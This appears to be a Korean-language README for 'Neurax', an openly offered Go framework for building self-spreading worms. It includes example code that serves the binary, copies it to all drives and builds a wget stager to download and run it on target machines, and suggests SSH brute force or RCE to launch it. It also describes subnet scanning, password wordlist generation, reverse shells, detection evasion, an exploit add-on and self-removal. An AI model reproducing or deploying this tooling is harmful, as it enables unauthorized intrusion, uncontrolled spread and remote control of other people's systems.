neurax

자가 확산 소프트웨어 생성을 돕는 프레임워크

개요

Neurax를 사용하면 Golang 바이너리가 외부 서버 없이 LAN/WAN에서 확산될 수 있습니다.

다양한 구성 옵션과 명령 스테이저는 다양한 무선 환경에서 빠른 확산을 가능하게 합니다.

예제 코드

package main
import . "github.com/redcode-labs/Neurax"

func main(){

  //Specify serving port and stager to use
  Nrx.Config.Port = 5555
  Nrx.Config.Stager = "wget"

  //Start a server that exposes the current binary in the background
  go NeuraxServer()
 
  //Copy current binary to all logical drives
  NeuraxDisks()

  //Create a command stager that should be launched on target machine
  //It will download, decode and execute the binary
  cmd_stager := NeuraxStager()

  /* Now you have to somehow execute the command generated above.
     You can use SSH bruteforce, some RCE or whatever else you want ;> */

}

v. 2.X 신규 기능 (별도 하위 프로젝트)

• 리팩터링: 프레임워크 방식에서 바로 사용 가능한 바이너리로 전환
• 모든 UNIX 대상을 위한 일반 wget 스테이저
• 웜의 동작을 즉시 조정할 수 있는 단일 구성 파일
• unlinkat(2)를 통한 자동 자체 제거
• 네트워크 확산 기능을 보완하는 예시 LinuxKI CVE 익스플로잇
• JSON 구성 파일을 다운로드하여 평가
• 호스트 수집기의 최소화된 재작성

v. 2.5 신규 기능

• 두 번째 단계 바이너리의 선택적 백그라운드 실행 (N.StagerBg)
• 명령 스테이저가 컨텍스트 로컬 경로에 저장 및 실행
• 또한 성공적인 실행 직후 다운로드한 바이너리를 제거
• 속도/안정성 문제로 동기화된 명령 실행 메커니즘 제거. 다음 릴리스 전에 적절한 대안을 마련하겠습니다.
• 호스트가 이미 감염되었는지 확인 비활성화 (N.NoInfectCheck)
• NeuraxServer() 내부에 배치된 독점 파일 뮤텍스로 강제되는 대상 머신에서의 단일 실행 정책
• 바이너리 제공을 위한 중첩 고루틴 추가
• Linux용 새 httrack 스테이저
• 탐지 회피를 위한 주석 처리된 일반 단어 목록
• 명령 스테이저가 바이너리 제거 전에 대기 가능 (N.StagerRemovalDelay)

v. 2.0 신규 기능

• 새로운 단어 목록 변형 및 국가별 일반 비밀번호
• 즉석 수동 스캐닝
• 활성 스캔을 약간 더 빠르게 만드는 .FastScan 옵션
• 단어 목록이 엄격히 메모리 내에서 생성됨
• NeuraxScan()이 채널 대신 콜백 함수를 인수로 받음
• NeuraxScan()이 전체 서브넷/대상 풀의 각 스캔 사이에 간격을 설정할 수 있는 무한 루프로 스캔
• IP 형식이 아닌 대상에 대한 역방향 DNS 조회
• ARP 캐시에서 대상 후보 추출
• 선택된 대상 목록만 스캔 가능 + 특정 대상(기본 게이트웨이 등) 우선 순위 지정 가능
• 수동 네트워크 스캔 사용 시 인터페이스 및 타임아웃 지정 가능
• 개선된 명령 스테이저 (선택적으로 상승된 권한 / 여러 번 실행 가능)
• 몇 가지 옵션 이름 변경
• NeuraxConfig.이 N.으로 변경됨 (입력이 더 짧으므로)
• 무작위 메모리 할당 + 바이너리 마이그레이션 함수
• 여러 스테이저 연결 가능 (예: wget + curl)
• 생성된 단어 목록의 양과 복잡성을 쉽게 조정 가능 (.WordlistExpand 등 옵션 사용)
• 생성된 바이너리의 TTL(Time-to-Live) 설정 가능

구성 항목 목록

새 대상 찾기

NeuraxScan(func(string)) 함수는 로컬 네트워크에서 활성 호스트를 감지할 수 있게 합니다. 유일한 인수는 모든 활성 호스트에 대해 백그라운드에서 호출되는 콜백 함수입니다. 호스트는 최소 1개의 열린 포트가 있고, 이미 감염되지 않았으며, N. 내에 지정된 조건을 충족할 때 활성으로 간주됩니다.

NeuraxScan()은 무한 루프로 실행됩니다. .Cidr 구성 항목으로 지정된 전체 서브넷을 스캔하고, 모든 호스트가 스캔되면 .ScanInterval에 지정된 간격만큼 sleep합니다.

디스크 감염

Neurax 바이너리는 무선 수단을 사용하여 자체를 복사할 필요가 없습니다. NeuraxDisks() 함수는 현재 바이너리(의심스럽지 않은 이름으로)를 발견된 모든 논리 드라이브에 복사합니다. 복사된 바이너리는 실행되지 않고, 단지 실행되기를 기다리며 대상에 상주합니다. NeuraxDisks()는 디스크 목록을 가져올 수 없거나 대상에 복사가 불가능한 경우 error를 반환합니다.

또 다른 함수인 NeuraxZIP(num_files int) err는 현재 바이너리를 포함하는 무작위 이름의 .zip 아카이브를 생성할 수 있습니다. 현재 디렉토리에 저장되며, 최대 num_files개의 무작위 파일을 포함합니다.

NeuraxZIPSelf()는 단순히 현재 바이너리를 압축하여 동일한 이름의 아카이브를 생성합니다.

리버스 연결

NeuraxReverse()로 대화형 리버스 셸을 설정할 수 있습니다. 이 함수는 .ReverseListener 내에 "<host>:<port>" 형식으로 지정된 호스트 이름에서 명령을 수신합니다. 사용되는 프로토콜은 .ReverseProto에 정의됩니다. NeuraxOpenComm()이 이 함수 호출 전에 시작된 경우, 각 명령은 위 섹션에서 설명한 대로 동작합니다. 그렇지 않은 경우 명령이 로컬에서 실행됩니다.

참고: 이 함수는 수신에 사용되는 무한 루프로 인한 차단을 방지하기 위해 고루틴으로 실행되어야 합니다.

정리

노드가 "purge" 명령을 수신하면, 이 명령을 다른 모든 노드에 재전송하고, 호스트에서 자체를 제거한 후 종료합니다. 이 동작은 소스 내 어딘가에서 NeuraxPurge()를 실행하여 시작할 수도 있습니다.

단어 목록 생성

선택한 확산 벡터가 어떤 형태의 무차별 대입을 기반으로 하는 경우, 적절한 단어 목록을 준비하는 것이 좋습니다. 클라이언트 측에서 텍스트 파일에 단어를 저장하는 것은 효율적이지 않으므로, NeuraxWordlist(...words) []string을 사용하여 기본 단어 목록을 변형할 수 있습니다. 주어진 단어 집합을 순열하려면 NeuraxWordlistPermute(..words) []string을 사용하십시오.

TTL(Time-to-Live) 설정

바이너리가 지정된 시간 후에 자체를 제거하도록 하려면 코드 시작 부분에 NeuraxSetTTL()을 사용하십시오. 이 함수는 고루틴으로 실행되어야 합니다. 예:

go NeuraxSetTTL("2m")

는 초기 실행 후 2분 후에 NeuraxPurgeSelf()를 실행하도록 합니다.

여러 스테이저 동시 사용

주어진 플랫폼에서 사용 가능한 모든 스테이저를 연결하려면 .Stager를 "chain"으로 설정하십시오.

드롭된 바이너리 이동

초기 실행 후 바이너리를 복사해야 하는 경우 NeuraxMigrate(path string)을 사용하십시오. 이 함수는 바이너리를 path 아래에 복사하고, 현재 바이너리를 제거한 후 새로 마이그레이션된 바이너리를 실행합니다.

이 도구 지원하기

이 프로젝트가 마음에 들고 성장하는 모습을 보고 싶으시다면, 작은 기부를 고려해 주세요 :>

>>>>> 기부하기 <<<<<

라이선스

이 소프트웨어는 MIT 라이선스를 따릅니다.